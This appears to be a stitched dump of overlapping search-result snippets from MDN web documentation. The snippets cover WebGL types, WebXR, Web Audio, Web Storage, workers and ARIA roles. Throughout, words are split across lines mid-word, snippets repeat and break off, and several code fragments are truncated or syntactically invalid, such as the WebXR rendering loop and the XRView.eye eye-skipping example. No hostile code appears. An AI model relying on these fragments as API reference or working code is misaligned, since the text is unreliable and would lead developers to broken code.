...igned integer. gluint unsigned long 32-bit twos complement unsigned integer. glfloat unrestricted float 32-bit ieee floating point number. glclampf unrestricted float clamped 32-bit ieee floating point number. webgl 2 these types are used within a webgl2renderingcontext. all webgl 1 types are used as well. type web idl type descr
iption glint64 long long signed 64-bit integer number. webgl extensions these types are used within webgl extensions. type web idl type descr
iption gluint64ext long long unsigned 64-bit integer number. specifications specification status comment webgl 1.0the definition of 'types' in that specification. recommend...
WebXR performance guide - Web APIs
talk about general stuff like limiting how many different loops there are during rendering, avoiding unnecessary drawing, etc. ...
... highly sensitive to performance constraints. as such, you may find yourself needing to make adjustments or compromises to optimize the performance of your webxr application to be as usable as possible on the broadest assortment of target devices. in this guide, we'll examine a variety of suggestions and recommendations that will help you make your webxr app as performant as possible. rendering t
ips ... talk about general stuff like limiting how many different loops there are during rendering, avoiding unnecessary drawing, etc. can probably also include stuff from https://github.com/immersive-web/webxr/blob/master/explainer.md#changing-the-field-of-view-for-inline-sessions managing rendering quality ... this section will come in part from https://github.com/immersive-web/webxr/blob/ma...
... let normalmatrix = mat4.create(); let modelviewmatrix = mat4.create(); let objectmatrix = mat4. // apply rotation updates to the object if needed mat4.rotate( } } this renders a scene. but it's inefficient, because it allocates as local variables a number of things, including at least two matrices, an array of vertices, and more. that means that for every frame, the javascr
ipt runtime has to allocate memory for those and set them up--possibly triggering garbage collection--and then when each interaction of the loop is completed, the memory is released. a simple change can optimize this significantly: const vertexlist = ... const normalmatrix = mat4.create(); const modelviewmatrix = mat4.create(); function drawscene(gl, view, programinfo, buffers, texture, deltatime...
... a simple change can optimize this significantly: const vertexlist = ... const normalmatrix = mat4.create(); const modelviewmatrix = mat4.create(); function drawscene(gl, view, programinfo, buffers, texture, deltatime) { ... for (object in scene) { ... } } now, instead of allocating variables every loop iteration, we're using global constants(or class member constants). this has mult
iple benefits: the memory allocated for each value or structure will not need to be reallocated every frame. this reduces the potential for triggering garbage collection, and optimizes memory use. you can't accidentally delete the objects that contain your vectors and matrices, since they're constants. you can, however, still replace the contents of each of these objects, so they're reusable. ...
WebXR Device API - Web APIs
usage example webxr hardware setup while the older webvr api was designed solely to support virtual reality (vr), webxr provides support for both vr and augmented reality (ar) on the web. support for ar functionality is added by the webxr augmented reality module. a typical xr device can have either 3 or 6 degrees of freedom and might or might not have an external positional sensor. the equ
ipment may also include an accelerometer, barometer, or other sensors which are used to sense when the user moves through space, rotates their head, or the like. accessing the webxr api to gain access to the webxr api within the context of a given window, use the navigator.xr property, which returns an xrsystem object through which the entire webxr device api is then exposed. navigator.xr read ...
... xrspace xrspace is an opaque base class on which all virtual coordinate system interfaces are based. positions in webxr are always expressed in relation to a particular xrspace at the time at which a particular xframe takes place. the space's coordinate system has its origin at the a given physical position. xrreferencespace a subclass of xrspace which is used to identify a spatial relationsh
ip in relation to the user's physical environment. the xrreferencespace coordinate system is expected to remain unchanged through the lifespan of the xrsession.the world has no boundaries and extends infinitely in every direction. xrboundedreferencespace xrboundedreferencespace extends the xrreferencespace coordinate system to further include support for a finite world with set boundaries. unlike ...
...are used to position objects--and the viewer--and the differences among the available types of reference space, as well as their use cases. spatial tracking in webxr this guide describes how objects--including the user's body and its parts--are located in space, and how their movement and orientation relative to one another is monitored and managed over time. this article explains the relationsh
ip between spaces, poses, viewers, and views. rendering and the webxr frame animation callback starting with how you schedule frames to be rendered, this guide then continues to cover how to determine the placement of objects in the view and how to then render them into the webgl buffer used for each of the two eyes' views of the scene. viewpoints and viewers: simulating cameras in webxr webgl ...
... profiles a guide to interpreting the json data provided by the webxr input profiles registry, which can be used to determine what options and controls are available on the user's available input devices. supporting advanced controllers and gamepads in webxr applications webxr uses the gamepad object to describe the controls available on complex input devices (such as hand controllers with mult
iple buttons and/or axes) and gamepad-like devices. in this guide, learn how to make use of these devices' controls. performance and security webxr performance guide recommendations and t
ips to help you optimize the performance of your webxr application. permissions and security for webxr the webxr device api has several areas of security to contend with, from establishing feature-policy to ...
Migrating from webkitAudioContext - Web APIs
it currently doesn't handle all of the cases below. please consult the readme file for that library to see a list of apis that are automatically handled by it. changes to the creator methods three of the creator methods on webkitaudiocontext have been renamed in audiocontext. creategainnode() has been renamed to creategain. createdelaynode() has been renamed to createdelay. ...
... cases below. please consult the readme file for that library to see a list of apis that are automatically handled by it. changes to the creator methods three of the creator methods on webkitaudiocontext have been renamed in audiocontext. creategainnode() has been renamed to creategain. createdelaynode() has been renamed to createdelay. createjavascr
iptnode() has been renamed to createscr
iptprocessor. ...
...ed to createdelay. createjavascr
iptnode() has been renamed to createscr
iptprocessor. these are simple renames that were made in order to improve the consistency of these method names on audiocontext. if your code uses either of these names, like in the example below : // old method names var gain = context.creategainnode(); var delay = context.createdelaynode(); var js = context.createjavascr
iptnode(1024); you can simply rename the methods to look like this: // new method names var gain = context.creategain(); var delay = context.createdelay(); var js = context.createscr
iptprocessor(1024); the semantics of these methods remain the same in the renamed versions. changes to starting and stopping nodes in webkitaudiocontext, there are two ways to start and stop audiobuffersourcenode ...
...so you can apply the same techniques to both kinds of nodes. removal of audiocontext.activesourcecount the activesourcecount attribute has been removed from audiocontext. if you need to count the number of playing source nodes, you can maintain the count by handling the ended event on the source nodes, as shown above. code using the activesourcecount attribute of the audiocontext, like this sn
ippet: var src0 = context.createbuffersource(); var src1 = context.createbuffersource(); // set buffers and other parameters... src0.start(0); src1.start(0); // some time later... console.log(context.activesourcecount); could be rewritten like that: // array to track the playing source nodes: var sources = []; // when starting the source, put it at the end of the array, // ...
Example and tutorial: Simple synth keyboard - Web APIs
let audiocontext = new (window.audiocontext || window.webkitaudiocontext)(); let osclist = []; let mastergainnode = null; audiocontext is set to reference the global audiocontext object (or webkitaudiocontext if necessary). osclist is set up to be ready to contain a list of all currently-playing oscillators. it starts off e...
... let audiocontext = new (window.audiocontext || window.webkitaudiocontext)(); let osclist = []; let mastergainnode = null; audiocontext is set to reference the global audiocontext object (or webkitaudiocontext if necessary). osclist is set up to be ready to contain a list of all currently-playing oscillators. it starts off empty, since ther...
...yboard the setup() function is responsible for building the keyboard and preparing the app to play music. function setup() { notefreq = createnotetable(); volumecontrol.addeventlistener("change", changevolume, false); mastergainnode = audiocontext.creategain(); mastergainnode.connect(audiocontext.destination); mastergainnode.gain.value = volumecontrol.value; // create the keys; sk
ip any that are sharp or flat; for // our purposes we don't need them. each octave is inserted // into a <div> of class "octave". notefreq.foreach(function(keys, idx) { let keylist = object.entries(keys); let octaveelem = document.createelement("div"); octaveelem.classname = "octave"; keylist.foreach(function(key) { if (key[0].length == 1) { octaveelem.appendchi...
...control. next, we iterate over each octave in the note frequencies table. for each octave, we use object.entries() to get a list of the notes in that octave. create a <div> to contain that octave's notes (so we can have a small bit of space drawn between octaves), and set its class name to "octave" for each key in the octave, we check to see if the note's name has more than one character. we sk
ip these, because we're leaving out the sharp notes in this example. if the note's name is only one character, then we call createkey(), specifying the note string, octave, and frequency. the returned element is appended to the octave element created in step 4. when each octave element has been built, it's appended to the keyboard. once the keyboard has been constructed, we scroll the note "b" in...
Visualizations with Web Audio API - Web APIs
one of the most interesting features of the web audio api is the ability to extract frequency, waveform, and other data from your audio source, which can then be used to create visualizations. this article explains how, and provides a couple of basic use cases. note: you can find working examples of all the code sn
ippets in our voice-change-o-matic demo. basic concepts to extract data from your audio source, you need an analysernode, which is created using the audiocontext.createanalyser() method, for example: var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var analyser = audioctx.createanalyser(); this node is then connected to your audio source at some point between your source and your destination, for example: source = audioctx.createmediastrea...
...pture frequency data, and analysernode.getbytetimedomaindata() and analysernode.getfloattimedomaindata() to capture waveform data. these methods copy data into a specified array, so you need to create a new array to receive the data before invoking one. the first one produces 32-bit floating point numbers, and the second and third ones produce 8-bit unsigned integers, therefore a standard javascr
ipt array won't do -- you need to use a float32array or uint8array array, depending on what data you are handling. so for example, say we are dealing with an fft size of 2048. we return the analysernode.frequencybincount value, which is half the fft, then call uint8array() with the frequencybincount as its length argument -- this is how many data points we will be collecting, for that fft size. an...
...th the array passed as it's argument. for example: analyser.getbytetimedomaindata(dataarray); we now have the audio data for that moment in time captured in our array, and can proceed to visualize it however we like, for example by plotting it onto an html5 <canvas>. let's go on to look at some specific examples. ...
...g, and clearing the display with each animation frame. function draw() { drawvisual = requestanimationframe(draw); analyser.getbytefrequencydata(dataarray); canvasctx.fillstyle = 'rgb(0, 0, 0)'; canvasctx.fillrect(0, 0, width, height); now we set our barwidth to be equal to the canvas width divided by the number of bars (the buffer length). however, we are also mult
iplying that width by 2.5, because most of the frequencies will come back as having no audio in them, as most of the sounds we hear every day are in a certain lower frequency range. we don't want to display loads of empty bars, therefore we simply shift the ones that will display regularly at a noticeable height across so they fill the canvas display. we also set a barheight variable, and an x vari...
Using the Web Storage API - Web APIs
ject, through which data items can be set, retrieved, and removed. a different storage object is used for the sessionstorage and localstorage for each origin -- they function and are controlled separately. so, for example, initially calling localstorage on a document will return a storage object; calling sessionstorage on a document will return a different storage object. both of these can be man
ipulated in the same way, but separately. feature-detecting localstorage to be able to use localstorage, we should first verify that it is supported and available in the current browsing session. testing for availability note: this api is available in current versions of all major browsers. testing for availability is necessary only if you must support very old browsers, such as internet explor...
...port localstorage have a property on the window object named localstorage. however, just asserting that that property exists may throw exceptions. if the localstorage object does exist, there is still no guarantee that the localstorage api is actually available, as various browsers offer settings that disable localstorage. so a browser may support localstorage, but not make it available to the scr
ipts on the page. for example, safari browser in private browsing mode gives us an empty localstorage object with a quota of zero, effectively making it unusable. conversely, we might get a legitimate quotaexceedederror, which means that we've used up all available storage space, but storage is actually available. our feature detection should take these scenarios into account. here is a function t...
... see here for a brief history of feature-detecting localstorage. example to illustrate some typical web storage usage, we have created an example, imaginatively called web storage demo. the landing page provides controls ...
...is fired whenever a change is made to the storage object (note that this event is not fired for sessionstorage changes). this won't work on the same page that is making the changes -- it is really a way for other pages on the domain using the storage to sync any changes that are made. pages on other domains can't access the same storage objects. ...
Window: error event - Web APIs
the error event is fired on a window object when a resource failed to load or couldn't be used -- for example if a scr
ipt has an execution error. bubbles no cancelable no interface event or uievent event handler property onerror the event object is a uievent instance if it was generated from a user interface element, or an event instance otherwise. ...
...couldn't be used -- for example if a scr
ipt has an execution error. bubbles no cancelable no interface event or uievent event handler property onerror the event object is a uievent instance if it was generated from a user interface element, or an event instance otherwise. ...
...scr
ipt has an execution error. bubbles no cancelable no interface event or uievent event handler property onerror the event object is a uievent instance if it was generated from a user interface element, or an event instance otherwise. ...
...id-area: log; } .event-log-contents { resize: none; } label, button { display: block; } button { height: 2rem; margin: .5rem; } img { width: 0; height: 0; } js const log = document.queryselector('.event-log-contents'); window.addeventlistener('error', (event) => { log.textcontent = log.textcontent + `${event.type}: ${event.message}\n`; console.log(event) }); const scr
ipterror = document.queryselector('#scr
ipt-error'); scr
ipterror.addeventlistener('click', () => { const badcode = 'const s;'; eval(badcode); }); result specifications specification status ui events working draft ...
Window.getComputedStyle() - Web APIs
valid, even though the pseudo-element itself is not supported. examples in this example we style a <p> element, then retrieve those styles using getcomputedstyle(), and print them into the text content of the <p>. ...
...ont: 2rem/2 sans-serif; text-align: center; background: purple; color: white; } javascr
ipt let para = document.queryselector('p'); let compstyles = window.getcomputedstyle(para); para.textcontent = 'my computed font-size is ' + compstyles.getpropertyvalue('font-size') + ',\nand my computed line-height is ' + compstyles.getpropertyvalue('line-height') + '.'; result descr
iption the returned object is the same cssstyledeclaration type as the object returned from the element's style property. however, the two objects have different purposes: the object from getcomputedstyle is read-only, and should be used to inspect the element's style -- including those set by a <style> element or an external stylesheet. the element.style object should be used to set styles on ...
... the object returned from the element's style property. however, the two objects have different purposes: the object from getcomputedstyle is read-only, and should be used to inspect the element's style -- including those set by a <style> element or an external stylesheet. the element.style object should be used to set styles on that element, or inspect styles directly added to it from javascr
ipt man
ipulation or the global style attribute. the first argument must be an element. non-elements, like a text node, will throw an error. defaultview in many code samples, getcomputedstyle is used from the document.defaultview object. in nearly all cases, this is needless, as getcomputedstyle exists on the window object as well. it's likely the defaultview pattern was a combination of folks no...
...ltview pattern was a combination of folks not wanting to write a testing spec for window and making an api that was also usable in java. use with pseudo-elements getcomputedstyle can pull style info from pseudo-elements (such as ::after, ::before, ::marker, ::line-marker -- see the pseudo-element spec). <style> h3::after { content: ' rocks!'; } </style> <h3>generated content</h3> <scr
ipt> var h3 = document.queryselector('h3'); var result = getcomputedstyle(h3, ':after').content; console.log('the generated content is: ', result); // returns ' rocks!' </scr
ipt> notes the returned cssstyledeclaration object contains active values for css property longhand names. for example, border-bottom-width instead of the border-width and border shorthand property names. it is safes...
Worker.prototype.postMessage() - Web APIs
the postmessage() method of the worker interface sends a message to the worker's inner scope. this accepts a single parameter, which is the data to send to the worker. the data may be any value or javascr
ipt object handled by the structured clone algorithm, which includes cyclical references. the worker can send back information to the thread that spawned it using the dedicatedworkerglobalscope.postmessage method. syntax worker.postmessage(message, [transfer]); parameters message the object to deliver to the worker; this will be in the data field in the event delivered to the dedicatedworkerglobalscope.onmessage handler. this may be any value or javascr
ipt object handled by the structured clone algorithm, which includes cyclical references. if the message parameter is not provided,...
...alscope.onmessage handler. this may be any value or javascr
ipt object handled by the structured clone algorithm, which includes cyclical references. if the message parameter is not provided, a typeerror will be thrown. if the data to be passed to the worker is unimportant, null or undefined can be passed explicitly. transfer optional an optional array of transferable objects to transfer ownersh
ip of. if the ownersh
ip of an object is transferred, it becomes unusable (neutered) in the context it was sent from and becomes available only to the worker it was sent to. transferable objects are instances of classes like arraybuffer, messageport or imagebitmap objects that can be transferred. null is not an acceptable value for transfer. ...
...when either of two form inputs (first and second) have their values changed, change events invoke postmessage() to send the value of both inputs to the current worker. ...
....postmessage([first.value,second.value]); console.log('message posted to worker'); } second.onchange = function() { myworker.postmessage([first.value,second.value]); console.log('message posted to worker'); } for a full example, see ourbasic dedicated worker example (run dedicated worker). note: postmessage() can only send a single object at once. as seen above, if you want to pass mult
iple values you can send an array. transfer example this example shows a firefox add-on that transfers an arraybuffer from the main thread to the chromeworker, and then the chromeworker transfers it back to the main thread. main thread code: var myworker = new chromeworker(self.path + 'myworker.js'); function handlemessagefromworker(msg) { console.log('incoming message from worker, msg:', ...
WorkerLocation - Web APIs
the workerlocation interface defines the absolute location of the scr
ipt executed by the worker. such an object is initialized for each worker and is available via the workerglobalscope.location property obtained by calling self.location. this interface is only visible from inside a javascr
ipt scr
ipt executed in the context of a web worker. properties the workerlocation interface doesn't inherit any property, but implements properties defined in the urlutilsreadonly interface. urlutilsreadonly.href read only is a stringifier that returns a domstring containing the whole url of the scr
ipt executed in the worker. urlutilsreadonly.protocol read only is a domstring containing the protocol scheme of the url of the scr
ipt executed in the worker, including the final ':'. urlutilsreadon...
... is a stringifier that returns a domstring containing the whole url of the scr
ipt executed in the worker. urlutilsreadonly.protocol read only is a domstring containing the protocol scheme of the url of the scr
ipt executed in the worker, including the final ':'. urlutilsreadonly.host read only is a domstring containing the host, that is the hostname, a ':', and the port of the url of the scr
ipt executed in the worker. urlutilsreadonly.hostname read only is a domstring containing the domain of the url of the scr
ipt executed in the worker. urlutilsreadonly.origin read only returns a domstring containing the canonical form of the origin of the specific location. ...
... of the url of the scr
ipt executed in the worker. urlutilsreadonly.hostname read only is a domstring containing the domain of the url of the scr
ipt executed in the worker. urlutilsreadonly.origin read only returns a domstring containing the canonical form of the origin of the specific location. urlutilsreadonly.port read only is a domstring containing the port number of the url of the scr
ipt executed in the worker. urlutilsreadonly.pathname read only is a domstring containing an initial '/' followed by the path of the url of the scr
ipt executed in the worker. urlutilsreadonly.search read only is a domstring containing a '?' followed by the parameters of the url of the scr
ipt executed in the worker. urlutilsreadonly.hash read only is a domstring containing a '#' followed by ...
...athname read only is a domstring containing an initial '/' followed by the path of the url of the scr
ipt executed in the worker. urlutilsreadonly.search read only is a domstring containing a '?' followed by the parameters of the url of the scr
ipt executed in the worker. urlutilsreadonly.hash read only is a domstring containing a '#' followed by the fragment identifier of the url of the scr
ipt executed in the worker. methods the workerlocation interface doesn't inherit any method, but implements methods defined in the urlutilsreadonly interface. urlutilsreadonly.tostring() returns a domstring containing the whole url of the scr
ipt executed in the worker. it is a synonym for urlutilsreadonly.href. specifications specification status comment html li...
XRView.eye - Web APIs
for dynamically-rendered 3d content, you can usually ignore this and simply render each of the viewer's views, one after another. examples this code, from the viewer pose's renderer, iterates over the pose's views and renders them. however, we have flags which, if true, indicate that a particular eye has been injured during gameplay. ...
...dicate that a particular eye has been injured during gameplay. when rendering that eye, if the flag is true, that view is sk
ipped instead of being rendered. ...
...g that eye, if the flag is true, that view is sk
ipped instead of being rendered. ...
...nderstate.baselayer; gl.bindframebuffer(gl.framebuffer, gllayer.framebuffer); gl.clearcolor(0,0, 0, 1.0); gl.cleardepth(1.0); gl.clear(gl.color_buffer_bit, gl.depth_buffer_bit); for (let view of xrpose.views) { let sk
ipview = false; if (view.eye == "left" && body.lefteye.injured) || sk
ipview = updateinjury(body.lefteye); } else if (view.eye == "right" && body.righteye.injured) { sk
ipview = updateinjury(body.righteye); } if (!sk
ipview) { let viewport = gllayer.getviewport(view); gl.viewport(viewport.x, viewport.y, viewport.width, viewport.height); renderscene(gl, view); } } for each of the views, the value of eye is checked and if it's either left or right, we check to see if the body.lefteye.injured or body.righteye.injured property is true; if so, we cal...
XRView - Web APIs
a 3d frame will involve two views, one for each eye, separated by an appropriate distance which approximates the distance between the viewer's eyes. this allows the two views, when projected in isolation into the appropriate eyes, to simulate a 3d world. ...
...ew transforms there are a few special transforms that are used on the view while rendering and lighting a scene. ...
...d lighting a scene. model view matrix the model view matrix is a matrix which defines the position of an object relative to the space in which it's located: if objectmatrix is a transform applied to the object to provide its basic position and rotation, then the model view matrix can be computed by mult
iplying the object's matrix by the inverse of the view transform matrix, like this: mat4.mult
iply(modelviewmatrix, view.transform.inverse.matrix, objectmatrix); normal matrix the model view's normal matrix is used when lighting the scene, in order to transform each surface's normal vectors to ensure that the light is reflected in the correct direction given the orientation and position of the surface relative to the light source or sources. it's computed by inverting then transposing the ...
...d section creates the new xrrigidtransform, specifying a point providing the offsets along the three axes as the first parameter, and the orientation quaternion as the second parameter. the returned object's matrix property is the actual matrix that transforms points from the scene's reference space to the object's new position. finally, a new reference space is created to describe the relationsh
ip between the two reference spaces fully. that reference space is returnedto the caller. to use this function, we simply pass the returned reference space into xrframe.getpose() or getviewerpose(), as appropriate for yoru needs. the xrpose returned will then be used to actuall render the scene for the current frame. you can find a more extensive and complete example in our article movement, orien...
XRWebGLLayer.getNativeFramebufferScaleFactor() static method - Web APIs
the static method xrwebgllayer.getnativeframebufferscalefactor() returns a floating-point scaling factor by which one can mult
iply the specified xrsession's resolution to get the native resolution of the webxr device's frame buffer. this information can be used when creating a new xrwebgllayer to configure the xrwebgllayerinit property framebufferscalefactor in the options specified when calling the xrwebgllayer() constructor. see the usage notes and examples for details. if the scaling factor is 1.0, then the frame buffer pixels and the native display pixels are the same size. ...
...ng a new xrwebgllayer to configure the xrwebgllayerinit property framebufferscalefactor in the options specified when calling the xrwebgllayer() constructor. see the usage notes and examples for details. if the scaling factor is 1.0, then the frame buffer pixels and the native display pixels are the same size. if the scaling factor is greater than zero, then the frame buffer is smaller than the d
iplay's native dimensions, resulting in the output being up-scaled for display to the screen after rendering into the frame buffer. if the scaling factor is less than zero, the frame buffer is larger than the native resolution of the display, resulting in the frame buffer's contents being scaled down for display to the xr device. this can happen for display environments which use superscaling or ant...
... down for display to the xr device. this can happen for display environments which use superscaling or anti-aliasing techniques to improve perceived image quality. syntax let nativescaling = xrwebgllayer.getnativeframebufferscalefactor(session); parameters session the xrsession for which to return the native framebuffer scaling factor. ...
...return value a floating-point value which, when mult
iplied by the xrsession's recommended framebuffer dimensions, results in the xr device's native frame buffer resolution. if the session has ended, this function returns 0.0. usage notes the scaling factor returned by this function will be 1.0 if the native resolution of the xr device and the resolution of the xr device match. in any case, mult
iplying the recommended resolution as identified by the xrsession by this value will result in the actual native resolution of the xr hardware. the recommended webgl frame buffer resolution is the best possible estimate of the resolution necessary to contain all of fthe xrviews needed by the device while at the same time providing typical applications an acceptable balance of image quality and perf...
Using the aria-invalid attribute - Accessibility
the aria-invalid attribute is used to indicate that the value entered into an input field does not conform to the format expected by the application.this may include formats such as email addresses or telephone numbers. aria-invalid can also be used to indicate that a required field has not been filled in.the attribute should be programmatically set as a result of a validation process. this attribute can be used with any typical html form element; it is not limited to elements that have an aria role assigned. values vocabulary: false (default) no errors detected grammar a grammatical error has been detected. spelling a spelling error has been detected. ...
... user when a field is invalid. application authors should provide suggestions for correcting the problem, if possible. authors may prevent a form from being submitted. note: opinions may differ on how assistive technology should handle this technique. the information provided above is one of those opinions and therefore not normative. examples example 1: simple form validation the following sn
ippet shows a simplified version of two form fields with a validation function attached to the blur event. note that since the default value for aria-required is false, it is not strictly necessary to add the attribute to input. <input name="name" id="name" aria-required="true" aria-invalid="false" onblur="checkvalidity('name', ' ', 'invalid name entered (requires both first and last name)...
...lid name entered (requires both first and last name)');"/> <br /> <input name="email" id="email" aria-required="true" aria-invalid="false" onblur="checkvalidity('email', '@', 'invalid e-mail address');"/> note that it is not necessary to validate the fields immediately on blur; the application could wait until the form is submitted (though this is not necessarily recommended). ...
... validation will likely be more sophisticated): function checkvalidity(aid, asearchterm, amsg){ var elem = document.getelementbyid(aid); var invalid = (elem.value.indexof(asearchterm) < 0); if (invalid) { elem.setattribute("aria-invalid", "true"); updatealert(amsg); } else { elem.setattribute("aria-invalid", "false"); updatealert(); } } the sn
ippet below shows the alert functions, which add (or remove) the error message: function updatealert(msg) { var oldalert = document.getelementbyid("alert"); if (oldalert) { document.body.removechild(oldalert); } if (msg) { var newalert = document.createelement("div"); newalert.setattribute("role", "alert"); newalert.setattribute("id", "alert"); ...
ARIA: alert role - Accessibility
the alert role can be used to tell the user an element has been dynamically updated. screen readers will instantly start reading out the updated content when the role is added. if the user is expected to close the alert, then the alertdialog role should be used instead. descr
iption one of the five live region roles, the alert role is used to provide the user with important, and usually time-sensitive, information, and often to tell the user an element has been dynamically updated. the alert role is added to the node containing an alert message, not the element causing the alert to be triggered. alerts are assertive live regions. setting role="alert" is equivalent to setting aria-live="assertive" and aria-atomic="true". they don't receive focus, and therefore focus does not need to be man...
...ssertive live regions. setting role="alert" is equivalent to setting aria-live="assertive" and aria-atomic="true". they don't receive focus, and therefore focus does not need to be managed and no user interaction should be required. the most important thing to know about the alert role is that it is for dynamic content. it is perfect for situations such as when a user fills out a form and javascr
ipt is used to add an error message - the alert would immediately read out the message. it should not be used on html where the user hasn't interacted with it. for example, if a page loads with mult
iple visible alerts scattered throughout, none would be read because they are not dynamically triggered. examples the most basic way to trigger an alert is by adding role="alert" to an element that has...
...age. it should not be used on html where the user hasn't interacted with it. for example, if a page loads with mult
iple visible alerts scattered throughout, none would be read because they are not dynamically triggered. examples the most basic way to trigger an alert is by adding role="alert" to an element that has display: none; by default. when the display value is changed with css or javascr
ipt, it would automatically trigger the screen reader to read out the content. ...
...alert is by adding role="alert" to an element that has display: none; by default. when the display value is changed with css or javascr
ipt, it would automatically trigger the screen reader to read out the content. <p role="alert" style="display: none;">the alert will trigger when the element becomes visible.</p> while triggering an alert via css alone is possible, it is better to rely on javascr
ipt because it has more browser/screen reader support and is often more appropriate as part of a larger user interaction such as inside an event handler or form validation. with javascr
ipt, developers control the adding and removing of alerts as appropriate. <button type="button" onclick="triggeralert">trigger alert</button> <p class="alert">the alert will trigger when the button is pressed.</p> ...
ARIA: cell role - Accessibility
lumn or row header information. to be supported, the cell must be nested in an element with the role of row. <div role="row"> <span role="cell">france</span> <span role="cell">67 million</span> </div> a better, more semantic way of writing the cells above would be to use the semantic <td> element. <tr role="row"> <td role="cell">france</td> <td role="cell">67 million</td> </tr> descr
iption the element with role="cell" is a cell within a row, optionally within a rowgroup, within a grid, table or treegrid within a static tabular structure. using native html <td> elements, whenever possible, is strongly encouraged. each element with role="cell" must be nested in a container element with role="row". that row, in turn, can be nested within an element with role="rowgroup", and sho...
...les, states, and properties context roles role="row" an element with role="row" is a row of cells within a tabular structure. a row contains one or more cells, grid cells, column headers, or row headers within a grid, table or treegrid, and optionally within a rowgroup. role="rowgroup" row is a required cell parent. rowgroup is an optional contextual row parent. it establishes a relationsh
ip between descendant rows. it is a structural equivalent to the thead, tfoot, and tbody elements in an html table element. role="table" one of the three possible contexts (along with grid and treegrid) in which you'll find a row containing cells. table identifies the cell as being part of a non-interactive table structure containing data arranged in rows and columns, similar to the native html <t...
...e> html element. role="treegrid" similar to a grid, but with rows that can be expanded and collapsed in the same manner as for a tree. subclass roles role="gridcell" a cell in a row within a grid or treegrid. role="columnheader" a header cell that is the structural equivalent of the html <th> element with a column scope. unlike a plain cell, the columnheader role establishes a relationsh
ip between it and all cells in the corresponding column. role="rowheader" a header cell that is the structural equivalent of the html <th> element with a row scope. unlike a plain cell, the rowheader role establishes a relationsh
ip between it and all cells in the corresponding row. states and properties aria-colspan similar to the html <th> and <td> colspan attribute, it defines the number...
...would likely have aria-rowindex="1" set, and cells in row 47 would have aria-rowindex="47", if aria-rowindex were needed due to not all rows being in the dom. if the rows that are visible are contiguous, and there are no cells with a colspan or rowspan greater than one, this property can be added to the parent rows instead of all the rows' cells. keyboard interactions none required javascr
ipt features the first rule of aria use is if you can use a native feature with the semantics and behavior you require already built in, instead of repurposing an element and adding an aria role, state or property to make it accessible, then do so. employ the html <td> element instead of the aria role of cell whenever possible. examples <div role="table" aria-label="semantic elements" aria-des...
ARIA: document role - Accessibility
e document mode to read the content contained within this element. <div role="dialog"> ... <div id="infotext" role="document" tabindex="0"> <p>some informational text goes here.</p> </div> ... <button>close</button> </div> this example shows a dialog widget with some controls and a section with some informational text that the assistive technology user can read when tabbing to it. descr
iption by default, web pages are treated as documents; assistive technologies (at) enter browse or read mode when entering a new web page. this mode can be altered through various roles, including the widget and application roles. the document role brings the at back into browse or read mode. generally placed within an application role or other interactive widget role, the document role is used t...
...istive technologies should switch context back to document mode, possibly intercepting from controls rewired for the parent's dynamic context, re-enabling the standard input events, such as up or down arrow keyboard events, to control the reading cursor. in contrast to the article role, the document role does not have any relation to other elements with a document role, it merely has a relationsh
ip to the containing composit widget. an article can have associated articles. associated wai-aria roles, states, and properties aria-expanded include with a value of true or false if the document element is collapsible, to indicate if the document is currently expanded or collapsed. other values include the default undefined which means the document is not collapsible. tabindex="0" used t...
...cument is not collapsible. tabindex="0" used to make it focusable so the assistive technology user can tab to it and start reading right away. keyboard interactions the element should be made focusable by setting the tabindex="0" attribute / value pair on it. this way, the user can tab to it, reading mode is invoked automatically, and the content can be read right away. required javascr
ipt features none, except as required by any attributes. for example, if the document is collapsible, then the state and the value of aria-expanded must be maintained. examples an example is gmail and the single conversation view. gmail is a web application. when in gmail, most user agent interactions are usurped by the application. however, when the keyboard focus is set on the starting heading ...
... gmail and the single conversation view. gmail is a web application. when in gmail, most user agent interactions are usurped by the application. however, when the keyboard focus is set on the starting heading on a single conversation that contains the subject of the conversation, the screen reader user can use the reading mode commands to read through the messages, expand or collapse them, and man
ipulate them. once focus returns to the message list either by activating the back button or pressing an asociated keystroke, direct application interaction mode is invoked again, and the user can move to a different conversation in the list with the arrow keys. best practices always make sure an item with the document role is focusable, by setting the tabindex attribute with a value of 0. that wi...
ARIA: gridcell role - Accessibility
ole="gridcell">smith</div> <div role="gridcell">496-619-5098</div> ... </div> the first rule of aria is if a native html element or attribute has the semantics and behavior you require, use it instead of re-purposing an element and adding aria. instead use the native html td element in conjunction with the and contenteditable attribute: <td>potato</td> <td>cabbage</td> <td>onion</td> descr
iption gridcells with dynamically added, hidden, or removed rows and columns any element with a role="gridcell" applied to it should use aria to describe its order in the table-style grouping, provided the table, grid, or treegrid has the ability to have rows and/or columns dynamically added, hidden, or removed. use aria-colindex to describe a gridcell's order in the list of columns, and aria-row...
...</div> describing the position of gridcells when the overall structur...
...ns and rows, gridcells must have their positions programatically described by using aria-describedby. the ids provided for aria-describedby should correspond to parent elements intended to be the rows and columns. by referencing the parent elements with roles of rowheader or columnheader applied to them via aria-describedby, it allows assistive technology to understand the position and relationsh
ip of the gridcell element to the rest of the table-style grouping of content. interactive grids and treegrids editable cells both td elements and elements with a role of gridcell applied to them can be made editable, mimicking functionality similar to editing a spreadsheet. this is done by applying the html contenteditable attribute. <td contenteditable="true">notes</td> <div role="gridcell" ...
... ...
ARIA: row role - Accessibility
using native html <tr> elements, whenever possible, is strongly encouraged. to create an aria row, add role="row" to the container element. that row should be nested within a ...
...ell order or otherwise changing individual cell order such as through drag and drop, use grid or treegrid instead. note: using the native html table element (<table>) along with the table row element (<tr>) whenever possible is strongly encouraged. associated wai-aria roles, states, and properties context roles role="rowgroup" an optional contextual row parent, it establishes a relationsh
ip between descendant rows. it is a structural equivalent to the thead, tfoot, and tbody elements in an html table element. role="table" one of the three possible contexts (along with grid and treegrid) in which you'll find a row, it identifies the row as being part of a non-interactive table structure containing data arranged in rows and columns, similar to the native <table> html element. role...
...th rows that can be expanded and collapsed in the same manner as for a tree. descendant roles role="cell" a cell in a row within a tabular container. role="gridcell" a cell in a row within a grid or treegrid. role="columnheader" a header cell that is the structural equivalent of the html <th> element with a column scope. unlike a plain cell, the columnheader role establishes a relationsh
ip between it and all cells in the corresponding column. role="rowheader" a header cell that is the structural equivalent of the html <th> element with a row scope. unlike a plain cell, the rowheader role establishes a relationsh
ip between it and all cells in the corresponding row. states and properties aria-expanded state the aria-expanded attribute, which defines the state of the row, ...
